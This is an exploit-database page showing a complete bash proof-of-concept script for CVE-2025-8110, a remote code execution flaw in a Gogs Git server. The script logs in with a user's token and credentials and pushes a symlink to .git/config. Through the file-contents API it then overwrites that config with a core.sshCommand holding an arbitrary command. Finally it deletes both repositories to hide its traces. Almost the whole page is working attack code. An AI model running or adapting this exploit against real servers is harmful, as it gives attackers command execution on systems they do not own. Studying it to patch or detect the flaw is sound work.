Exploit database

GH-9b89d9ba3abe536fb54cbc73b036778b

9xh4kv/cve-2025-8110

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8110

13 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
9xh4kv/cve-2025-8110Revision a663810d409c

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc.sh

Shell · 4,610 bytes
#!/bin/bash

# Author: 9xh4kv
# Repo: https://github.com/9xh4kv/CVE-2025-8110

# Proof-of-concept for CVE-2025-8110

# Notes: For authorized testing only. See README.md for details.


usage() {
    echo "Usage: $0 -i <ip/domain> -P <port> -u <username> -p <password> -t <token> -c <command>"
    echo
    echo "Options:"
    echo "  -i <ip/domain>          Target IP address or domain"
    echo "  -P <port>               Target port"
    echo "  -u <username>           Repository username"
    echo "  -p <password>           Repository password"
    echo "  -r <repository name>    Repository name (optional, default: CVE-2025-8110)"
    echo "  -t <token>              API authentication token"
    echo "  -c <command>            Command to execute"
    exit 1
}


if [[ $# -eq 0 ]]; then
    usage
fi

REPO="CVE-2025-8110"

while getopts "i:P:u:p:r:t:c:" opt; do
    case "$opt" in
        i) IP="$OPTARG" ;;
        P) PORT="$OPTARG" ;;
        u) USERNAME="$OPTARG" ;;
        p) PASSWORD="$OPTARG" ;;
        r) REPO="$OPTARG" ;;
        t) TOKEN="$OPTARG" ;;
        c) CMD="$OPTARG" ;;
        *) usage ;;
    esac
done

: "${IP:?Missing -i (IP/hostname)}"
: "${PORT:?Missing -P (port)}"
: "${USERNAME:?Missing -u (username)}"
: "${PASSWORD:?Missing -p (password)}"
: "${REPO:?Missing -r (repository name)}"
: "${TOKEN:?Missing -t (token)}"
: "${CMD:?Missing -c (command)}"

PAYLOAD=$(cat <<EOF
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
	    sshCommand = $CMD #
[remote "origin"]
        url = git@localhost:gogs/$REPO.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
EOF
)
RED="\033[31m"
BLUE='\033[0;34m'
GREEN="\033[32m"
RESET="\033[0m"

echo -e "[${GREEN}+${RESET}] Creating repository...\n"
response=$(curl -X POST "http://$IP:$PORT/api/v1/user/repos" \
  -H "Authorization: token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "'$REPO'",
    "description": "Remote Code Execution Exploit",
    "private": false,
    "auto_init": true,
    "readme": "Default",
    "ssh": true
  }')

if [[ -z $response ]]; then
    echo -e "[${RED}!${RESET}] No response received from the server."
    echo -e "[${RED}!${RESET}] Verify that the API token is valid and the server is reachable."
    exit 0
fi

if [[ $response == *"exists"* ]]; then
    echo -e "\n${RED}Repository already exists.${RESET}"
    echo -e "\n[${BLUE}!${RESET}] ${BLUE}The exploit may fail if a malicious ${GREEN}.git/config ${BLUE}has already been injected into the server's temporary repository through the API.${RESET}"
    echo -e "\nIt is recommended to use a new repository with a different name.\n"

    read -rp "Continue anyway? [y/N]: " answer

    if [[ ! $answer =~ ^[Yy]$ ]]; then
        echo "Aborted."
        exit 1
    fi
fi

echo -e "\n[${GREEN}+${RESET}] Cloning repository..."
response=$(git clone "http://$USERNAME:$PASSWORD@$IP:$PORT/$USERNAME/$REPO.git" 2>&1)
if [[ $response == *"not found" ]]; then
    echo -e "${RED}Repository not found.${RESET}"
    echo -e "Verify that the repository ${GREEN}usename${RESET} is correct"
    exit 0
fi


echo -e "\n[${GREEN}+${RESET}] Creating symlink and committing changes...\n"

cd "$REPO" && ln -s .git/config rce
git add rce
git commit -m "Add symbolic link"
response=$(git push "http://$USERNAME:$PASSWORD@$IP:$PORT/$USERNAME/$REPO.git" master 2>&1)
status=$?

if (( status != 0 )); then
    echo -e "${RED}git push failed.${RESET}"

    if [[ $response == *"HTTP 401"* ]]; then
        echo -e "Authentication failed. Verify your ${GREEN}credentials${RESET}."

    elif [[ $response == *"403"* ]]; then
        echo "Permission denied."

    else
        echo "$response"

    fi
    exit 1
fi

echo -e "\n[${GREEN}+${RESET}] Injecting payload into ${GREEN}.git/config${RESET} via the symlink..."
echo -e "\n[${GREEN}!${RESET}] ${BLUE}Check whether the payload has been executed.${RESET}\n"

curl -X PUT "http://$IP:$PORT/api/v1/repos/$USERNAME/$REPO/contents/rce" \
  -H "Authorization: token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "message": "Update symlink content",
    "content": "'"$(echo -n "$PAYLOAD" | base64 -w 0)"'"
  }' || true

echo -e "\n\n[${GREEN}+${RESET}] Removing local repository..."

cd ..

rm -rf $REPO

echo -e "\n[${GREEN}+${RESET}] Deleting remote repository..."

curl -X DELETE "http://$IP:$PORT/api/v1/repos/$USERNAME/$REPO" \
  -H "Authorization: token $TOKEN" -s -o /dev/null


echo -e "\n[${BLUE}*${RESET}] Exploit completed."